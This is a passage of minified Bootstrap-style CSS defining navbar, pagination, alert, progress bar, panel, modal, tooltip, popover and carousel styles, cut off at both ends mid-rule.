(min-width:768px){.navbar-form{width:auto;border:0;margin-left:0;margin-right:0;padding-top:0;padding-bottom:0;-webkit-box-shadow:none;box-shadow:none;}.navbar-form.navbar-right:last-child{margin-right:0px;}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-right-radius:0;border-top-left-radius:0;}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{border-bottom-right-radius:0;border-bottom-left-radius:0;}.navbar-nav.pull-right>li>.dropdown-menu,.navbar-nav>li>.dropdown-menu.pull-right{left:auto;right:0;}.navbar-btn{margin-top:8px;margin-bottom:8px;}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px;}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px;}.navbar-text{margin-top:15px;margin-bottom:15px;}@media (min-width:768px){.navbar-text{float:left;margin-left:0px;margin-right:0px;}.navbar-text.navbar-right:last-child{margin-right:0;}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7;}.navbar-default .navbar-brand{color:#777777;}.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus{color:#5e5e5e;background-color:transparent;}.navbar-default .navbar-text{color:#777777;}.navbar-default .navbar-nav>li>a{color:#777777;}.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus{color:#333333;background-color:transparent;}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{color:#555555;background-color:#e7e7e7;}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus{color:#cccccc;background-color:transparent;}.navbar-default .navbar-toggle{border-color:#dddddd;}.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus{background-color:#dddddd;}.navbar-default .navbar-toggle .icon-bar{background-color:#cccccc;}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7;}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus{background-color:#e7e7e7;color:#555555;}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777777;}.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus{color:#333333;background-color:transparent;} .navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus{color:#555555;background-color:#e7e7e7;} .navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#cccccc;background-color:transparent;}}.navbar-default .navbar-link{color:#777777;}.navbar-default .navbar-link:hover{color:#333333;}.navbar-inverse{background-color:#222222;border-color:#080808;}.navbar-inverse .navbar-brand{color:#999999;}.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus{color:#ffffff;background-color:transparent;}.navbar-inverse .navbar-text{color:#999999;}.navbar-inverse .navbar-nav>li>a{color:#999999;}.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus{color:#ffffff;background-color:transparent;}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus{color:#ffffff;background-color:#080808;}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus{color:#444444;background-color:transparent;}.navbar-inverse .navbar-toggle{border-color:#333333;}.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus{background-color:#333333;}.navbar-inverse .navbar-toggle .icon-bar{background-color:#ffffff;}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010;}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus{background-color:#080808;color:#ffffff;}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808;} .navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808;} .navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#999999;}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus{color:#ffffff;background-color:transparent;} .navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus{color:#ffffff;background-color:#080808;} .navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#444444;background-color:transparent;}}.navbar-inverse .navbar-link{color:#999999;}.navbar-inverse .navbar-link:hover{color:#ffffff;}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px;}.breadcrumb>li{display:inline-block;}.breadcrumb>li+li:before{content:"/\00a0";padding:0 5px;color:#cccccc;}.breadcrumb>.active{color:#999999;}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px;}.pagination>li{display:inline;}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;line-height:1.428571429;text-decoration:none;background-color:#ffffff;border:1px solid #dddddd;margin-left:-1px;}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-bottom-left-radius:4px;border-top-left-radius:4px;}.pagination>li:last-child>a,.pagination>li:last-child>span{border-bottom-right-radius:4px;border-top-right-radius:4px;}.pagination>li>a:hover,.pagination>li>span:hover,.pagination>li>a:focus,.pagination>li>span:focus{background-color:#eeeeee;}.pagination>.active>a,.pagination>.active>span,.pagination>.active>a:hover,.pagination>.active>span:hover,.pagination>.active>a:focus,.pagination>.active>span:focus{z-index:2;color:#ffffff;background-color:#428bca;border-color:#428bca;cursor:default;}.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus{color:#999999;background-color:#ffffff;border-color:#dddddd;cursor:not-allowed;}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px;}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-bottom-left-radius:6px;border-top-left-radius:6px;}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-bottom-right-radius:6px;border-top-right-radius:6px;}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-bottom-left-radius:3px;border-top-left-radius:3px;}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-bottom-right-radius:3px;border-top-right-radius:3px;}.pager{padding-left:0;margin:20px 0;list-style:none;text-align:center;}.pager:before,.pager:after{content:" ";display:table;}.pager:after{clear:both;}.pager:before,.pager:after{content:" ";display:table;}.pager:after{clear:both;}.pager li{display:inline;}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#ffffff;border:1px solid #dddddd;border-radius:15px;}.pager li>a:hover,.pager li>a:focus{text-decoration:none;background-color:#eeeeee;}.pager .next>a,.pager .next>span{float:right;}.pager .previous>a,.pager .previous>span{float:left;}.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>a:focus,.pager .disabled>span{color:#999999;background-color:#ffffff;cursor:not-allowed;}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:bold;line-height:1;color:#ffffff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em;}.label[href]:hover,.label[href]:focus{color:#ffffff;text-decoration:none;cursor:pointer;}.label:empty{display:none;}.btn .label{position:relative;top:-1px;}.label-default{background-color:#999999;}.label-default[href]:hover,.label-default[href]:focus{background-color:#808080;}.label-primary{background-color:#428bca;}.label-primary[href]:hover,.label-primary[href]:focus{background-color:#3071a9;}.label-success{background-color:#5cb85c;}.label-success[href]:hover,.label-success[href]:focus{background-color:#449d44;}.label-info{background-color:#5bc0de;}.label-info[href]:hover,.label-info[href]:focus{background-color:#31b0d5;}.label-warning{background-color:#f0ad4e;}.label-warning[href]:hover,.label-warning[href]:focus{background-color:#ec971f;}.label-danger{background-color:#d9534f;}.label-danger[href]:hover,.label-danger[href]:focus{background-color:#c9302c;}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:bold;color:#ffffff;line-height:1;vertical-align:baseline;white-space:nowrap;text-align:center;background-color:#999999;border-radius:10px;}.badge:empty{display:none;}.btn .badge{position:relative;top:-1px;}a.badge:hover,a.badge:focus{color:#ffffff;text-decoration:none;cursor:pointer;}a.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#428bca;background-color:#ffffff;}.nav-pills>li>a>.badge{margin-left:3px;}.jumbotron{padding:30px;margin-bottom:30px;font-size:21px;font-weight:200;line-height:2.1428571435;color:inherit;background-color:#eeeeee;}.jumbotron h1,.jumbotron .h1{line-height:1;color:inherit;}.jumbotron p{line-height:1.4;}.container .jumbotron{border-radius:6px;}.jumbotron .container{max-width:100%;}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px;}.container .jumbotron{padding-left:60px;padding-right:60px;} .jumbotron h1,.jumbotron .h1{font-size:63px;}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.428571429;background-color:#ffffff;border:1px solid #dddddd;border-radius:4px;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.thumbnail>img,.thumbnail a>img{display:block;max-width:100%;height:auto;margin-left:auto;margin-right:auto;}a.thumbnail:hover,a.thumbnail:focus,a.thumbnail.active{border-color:#428bca;}.thumbnail .caption{padding:9px;color:#333333;}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px;}.alert h4{margin-top:0;color:inherit;}.alert .alert-link{font-weight:bold;}.alert>p,.alert>ul{margin-bottom:0;}.alert>p+p{margin-top:5px;}.alert-dismissable{padding-right:35px;}.alert-dismissable .close{position:relative;top:-2px;right:-21px;color:inherit;}.alert-success{background-color:#dff0d8;border-color:#d6e9c6;color:#3c763d;}.alert-success hr{border-top-color:#c9e2b3;}.alert-success .alert-link{color:#2b542c;}.alert-info{background-color:#d9edf7;border-color:#bce8f1;color:#31708f;}.alert-info hr{border-top-color:#a6e1ec;}.alert-info .alert-link{color:#245269;}.alert-warning{background-color:#fcf8e3;border-color:#faebcc;color:#8a6d3b;}.alert-warning hr{border-top-color:#f7e1b5;}.alert-warning .alert-link{color:#66512c;}.alert-danger{background-color:#f2dede;border-color:#ebccd1;color:#a94442;}.alert-danger hr{border-top-color:#e4b9c0;}.alert-danger .alert-link{color:#843534;}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0;} to{background-position:0 0;}}@keyframes progress-bar-stripes{from{background-position:40px 0;} to{background-position:0 0;}}.progress{overflow:hidden;height:20px;margin-bottom:20px;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);}.progress-bar{float:left;width:0%;height:100%;font-size:12px;line-height:20px;color:#ffffff;text-align:center;background-color:#428bca;-webkit-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-webkit-transition:width 0.6s ease;transition:width 0.6s ease;}.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-size:40px 40px;}.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite;}.progress-bar-success{background-color:#5cb85c;}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);}.progress-bar-info{background-color:#5bc0de;}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);}.progress-bar-warning{background-color:#f0ad4e;}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);}.progress-bar-danger{background-color:#d9534f;}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);}.media,.media-body{overflow:hidden;zoom:1;}.media,.media .media{margin-top:15px;}.media:first-child{margin-top:0;}.media-object{display:block;}.media-heading{margin:0 0 5px;}.media>.pull-left{margin-right:10px;}.media>.pull-right{margin-left:10px;}.media-list{padding-left:0;list-style:none;}.list-group{margin-bottom:20px;padding-left:0;}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#ffffff;border:1px solid #dddddd;}.list-group-item:first-child{border-top-right-radius:4px;border-top-left-radius:4px;}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px;}.list-group-item>.badge{float:right;}.list-group-item>.badge+.badge{margin-right:5px;}a.list-group-item{color:#555555;}a.list-group-item .list-group-item-heading{color:#333333;}a.list-group-item:hover,a.list-group-item:focus{text-decoration:none;background-color:#f5f5f5;}a.list-group-item.active,a.list-group-item.active:hover,a.list-group-item.active:focus{z-index:2;color:#ffffff;background-color:#428bca;border-color:#428bca;}a.list-group-item.active .list-group-item-heading,a.list-group-item.active:hover .list-group-item-heading,a.list-group-item.active:focus .list-group-item-heading{color:inherit;}a.list-group-item.active .list-group-item-text,a.list-group-item.active:hover .list-group-item-text,a.list-group-item.active:focus .list-group-item-text{color:#e1edf7;}.list-group-item-heading{margin-top:0;margin-bottom:5px;}.list-group-item-text{margin-bottom:0;line-height:1.3;}.panel{margin-bottom:20px;background-color:#ffffff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:0 1px 1px rgba(0, 0, 0, 0.05);}.panel-body{padding:15px;}.panel-body:before,.panel-body:after{content:" ";display:table;}.panel-body:after{clear:both;}.panel-body:before,.panel-body:after{content:" ";display:table;}.panel-body:after{clear:both;}.panel>.list-group{margin-bottom:0;}.panel>.list-group .list-group-item{border-width:1px 0;}.panel>.list-group .list-group-item:first-child{border-top-right-radius:0;border-top-left-radius:0;}.panel>.list-group .list-group-item:last-child{border-bottom:0;}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0;}.panel>.table,.panel>.table-responsive>.table{margin-bottom:0;}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive{border-top:1px solid #dddddd;}.panel>.table>tbody:first-child th,.panel>.table>tbody:first-child td{border-top:0;}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0;}.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0;}.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0;}.panel>.table-bordered>thead>tr:last-child>th,.panel>.table-responsive>.table-bordered>thead>tr:last-child>th,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th,.panel>.table-bordered>thead>tr:last-child>td,.panel>.table-responsive>.table-bordered>thead>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0;}.panel>.table-responsive{border:0;margin-bottom:0;}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-right-radius:3px;border-top-left-radius:3px;}.panel-heading>.dropdown .dropdown-toggle{color:inherit;}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit;}.panel-title>a{color:inherit;}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #dddddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px;}.panel-group .panel{margin-bottom:0;border-radius:4px;overflow:hidden;}.panel-group .panel+.panel{margin-top:5px;}.panel-group .panel-heading{border-bottom:0;}.panel-group .panel-heading+.panel-collapse .panel-body{border-top:1px solid #dddddd;}.panel-group .panel-footer{border-top:0;}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #dddddd;}.panel-default{border-color:#dddddd;}.panel-default>.panel-heading{color:#333333;background-color:#f5f5f5;border-color:#dddddd;}.panel-default>.panel-heading+.panel-collapse .panel-body{border-top-color:#dddddd;}.panel-default>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#dddddd;}.panel-primary{border-color:#428bca;}.panel-primary>.panel-heading{color:#ffffff;background-color:#428bca;border-color:#428bca;}.panel-primary>.panel-heading+.panel-collapse .panel-body{border-top-color:#428bca;}.panel-primary>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#428bca;}.panel-success{border-color:#d6e9c6;}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6;}.panel-success>.panel-heading+.panel-collapse .panel-body{border-top-color:#d6e9c6;}.panel-success>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#d6e9c6;}.panel-warning{border-color:#faebcc;}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc;}.panel-warning>.panel-heading+.panel-collapse .panel-body{border-top-color:#faebcc;}.panel-warning>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#faebcc;}.panel-danger{border-color:#ebccd1;}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1;}.panel-danger>.panel-heading+.panel-collapse .panel-body{border-top-color:#ebccd1;}.panel-danger>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#ebccd1;}.panel-info{border-color:#bce8f1;}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1;}.panel-info>.panel-heading+.panel-collapse .panel-body{border-top-color:#bce8f1;}.panel-info>.panel-footer+.panel-collapse .panel-body{border-bottom-color:#bce8f1;}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);}.well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15);}.well-lg{padding:24px;border-radius:6px;}.well-sm{padding:9px;border-radius:3px;}.close{float:right;font-size:21px;font-weight:bold;line-height:1;color:#000000;text-shadow:0 1px 0 #ffffff;opacity:0.2;filter:alpha(opacity=20);}.close:hover,.close:focus{color:#000000;text-decoration:none;cursor:pointer;opacity:0.5;filter:alpha(opacity=50);}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none;}.modal-open{overflow:hidden;}.modal{display:none;overflow:auto;overflow-y:scroll;position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;}.modal.fade .modal-dialog{-webkit-transform:translate(0, -25%);-ms-transform:translate(0, -25%);transform:translate(0, -25%);-webkit-transition:-webkit-transform 0.3s ease-out;-moz-transition:-moz-transform 0.3s ease-out;-o-transition:-o-transform 0.3s ease-out;transition:transform 0.3s ease-out;}.modal.in .modal-dialog{-webkit-transform:translate(0, 0);-ms-transform:translate(0, 0);transform:translate(0, 0);}.modal-dialog{position:relative;width:auto;margin:10px;z-index:1050;}.modal-content{position:relative;background-color:#ffffff;border:1px solid #999999;border:1px solid rgba(0, 0, 0, 0.2);border-radius:6px;-webkit-box-shadow:0 3px 9px rgba(0, 0, 0, 0.5);box-shadow:0 3px 9px rgba(0, 0, 0, 0.5);background-clip:padding-box;outline:none;}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1030;background-color:#000000;}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0);}.modal-backdrop.in{opacity:0.5;filter:alpha(opacity=50);}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5;min-height:16.428571429px;}.modal-header .close{margin-top:-2px;}.modal-title{margin:0;line-height:1.428571429;}.modal-body{position:relative;padding:20px;}.modal-footer{margin-top:15px;padding:19px 20px 20px;text-align:right;border-top:1px solid #e5e5e5;}.modal-footer:before,.modal-footer:after{content:" ";display:table;}.modal-footer:after{clear:both;}.modal-footer:before,.modal-footer:after{content:" ";display:table;}.modal-footer:after{clear:both;}.modal-footer .btn+.btn{margin-left:5px;margin-bottom:0;}.modal-footer .btn-group .btn+.btn{margin-left:-1px;}.modal-footer .btn-block+.btn-block{margin-left:0;}@media screen and (min-width:768px){.modal-dialog{width:600px;margin:30px auto;} .modal-content{-webkit-box-shadow:0 5px 15px rgba(0, 0, 0, 0.5);box-shadow:0 5px 15px rgba(0, 0, 0, 0.5);}}.tooltip{position:absolute;z-index:1030;display:block;visibility:visible;font-size:12px;line-height:1.4;opacity:0;filter:alpha(opacity=0);}.tooltip.in{opacity:0.9;filter:alpha(opacity=90);}.tooltip.top{margin-top:-3px;padding:5px 0;}.tooltip.right{margin-left:3px;padding:0 5px;}.tooltip.bottom{margin-top:3px;padding:5px 0;}.tooltip.left{margin-left:-3px;padding:0 5px;}.tooltip-inner{max-width:200px;padding:3px 8px;color:#ffffff;text-align:center;text-decoration:none;background-color:#000000;border-radius:4px;}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid;}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000000;}.tooltip.top-left .tooltip-arrow{bottom:0;left:5px;border-width:5px 5px 0;border-top-color:#000000;}.tooltip.top-right .tooltip-arrow{bottom:0;right:5px;border-width:5px 5px 0;border-top-color:#000000;}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000000;}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000000;}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000000;}.tooltip.bottom-left .tooltip-arrow{top:0;left:5px;border-width:0 5px 5px;border-bottom-color:#000000;}.tooltip.bottom-right .tooltip-arrow{top:0;right:5px;border-width:0 5px 5px;border-bottom-color:#000000;}.popover{position:absolute;top:0;left:0;z-index:1010;display:none;max-width:276px;padding:1px;text-align:left;background-color:#ffffff;background-clip:padding-box;border:1px solid #cccccc;border:1px solid rgba(0, 0, 0, 0.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);white-space:normal;}.popover.top{margin-top:-10px;}.popover.right{margin-left:10px;}.popover.bottom{margin-top:10px;}.popover.left{margin-left:-10px;}.popover-title{margin:0;padding:8px 14px;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0;}.popover-content{padding:9px 14px;}.popover .arrow,.popover .arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid;}.popover .arrow{border-width:11px;}.popover .arrow:after{border-width:10px;content:"";}.popover.top .arrow{left:50%;margin-left:-11px;border-bottom-width:0;border-top-color:#999999;border-top-color:rgba(0, 0, 0, 0.25);bottom:-11px;}.popover.top .arrow:after{content:" ";bottom:1px;margin-left:-10px;border-bottom-width:0;border-top-color:#ffffff;}.popover.right .arrow{top:50%;left:-11px;margin-top:-11px;border-left-width:0;border-right-color:#999999;border-right-color:rgba(0, 0, 0, 0.25);}.popover.right .arrow:after{content:" ";left:1px;bottom:-10px;border-left-width:0;border-right-color:#ffffff;}.popover.bottom .arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999999;border-bottom-color:rgba(0, 0, 0, 0.25);top:-11px;}.popover.bottom .arrow:after{content:" ";top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#ffffff;}.popover.left .arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999999;border-left-color:rgba(0, 0, 0, 0.25);}.popover.left .arrow:after{content:" ";right:1px;border-right-width:0;border-left-color:#ffffff;bottom:-10px;}.carousel{position:relative;}.carousel-inner{position:relative;overflow:hidden;width:100%;}.carousel-inner>.item{display:none;position:relative;-webkit-transition:0.6s ease-in-out left;transition:0.6s ease-in-out left;}.carousel-inner>.item>img,.carousel-inner>.item>a>img{display:block;max-width:100%;height:auto;line-height:1;}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block;}.carousel-inner>.active{left:0;}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%;}.carousel-inner>.next{left:100%;}.carousel-inner>.prev{left:-100%;}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0;}.carousel-inner>.active.left{left:-100%;}.carousel-inner>.active.right{left:100%;}.carousel-control{position:absolute;top:0;left:0;bottom:0;width:15%;opacity:0.5;filter:alpha(opacity=50);font-size:20px;color:#ffffff;text-align:center;text-shadow:0 1px 2px rgba(0, 0, 0, 0.6);}.carousel-control.left{background-image:-webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, 0.5) 0%), color-stop(rgba(0, 0, 0, 0.0001) 100%));background-image:linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);}.carousel-control.right{left:auto;right:0;background-image:-webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, 0.0001) 0%), color-stop(rgba(0, 0, 0, 0.5) 100%));background-image:linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);}.carousel-control:hover,.carousel-control:focus{outline:none;color:#ffffff;text-decoration:none;opacity:0.9;filter:alpha(opacity=90);}.carousel-control .icon-prev,.carousel-control .icon-next,.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right{position:absolute;top:50%;z-index:5;display:inline-block;}.carousel-control .icon-prev,.carousel-control .glyphicon-chevron-left{left:50%;}.carousel-control .icon-next,.carousel-control .glyphicon-chevron-right{right:50%;}.carousel-control .icon-prev,.carousel-control .icon-next{width:20px;height:20px;margin-top:-10px;margin-left:-10px;font-family:serif;}.carousel-control .icon-prev:before{content:'\2039';}.carousel-control 